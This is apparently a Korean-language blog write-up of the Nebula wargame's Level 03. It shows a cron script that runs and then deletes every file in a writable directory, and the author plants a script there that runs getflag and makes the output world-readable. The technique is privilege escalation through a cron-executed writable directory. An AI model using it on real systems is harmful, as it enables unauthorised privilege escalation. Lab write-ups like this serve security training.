본문 바로가기
시스템 해킹/CTF

[Nebula] Level 03

by L3m0n S0ju 2021. 8. 19.

LEVEL 03

Check the home directory of flag03 and take note of the files there.

There is a crontab that is called every couple of minutes.

To do this level, log in as the level03 account with the password level03. Files for this level can be found in /home/flag03.

Source code

There is no source code available for this level.

 

 

 

 


flag02 디렉터리로 이동하면 writable.d 디렉토리와 writable.sh 스크립트 파일이 존재한다. 스크립트 파일의 내용은 아래와 같다. 스크립트 내용은 writable.d 디렉토리에 있는 모든 파일을 bash 쉘로 실행하고 삭제한다. 그리고 문제에서는 crontab이 설정되어있어 매분마다 해당 스크립트가 실행된다고 한다.

 

#!/bin/sh

for i in /home/flag03/writable.d/* ; do
        (ulimit -t 5; bash -x "$i")
        rm -f "$i"
done

 

 

 


writable.d 디렉터리에 아래와 같이 스크립트를 작성하고 권한을 주면 시간이 지나면서 파일이 삭제되지만 쉘이 실행되는 것은 확인할 수 없습니다.

 

#!/bin/bash

/bin/bash

 

 

 

 

 


따라서 아래와 같이 getflag내용을 파일로 저장하고 권한을 부여하는 스크립트를 작성하여 writable.d에 넣고 권한을 주고 기다립니다.

 

#!/bin/bash

getflag > /home/flag03/flag
chmod 777 /home/flag03/flag

 

 

 

 


플래그

 

 

 

 

 

'시스템 해킹 > CTF' 카테고리의 다른 글

[Square CTF] Bytes  (0) 2021.09.04
보호기법 정리  (0) 2021.08.20
[Nebula] Level 02  (0) 2021.08.19
[Nebula] Level 01  (0) 2021.08.11
[Nebula] Level 00  (0) 2021.08.11

댓글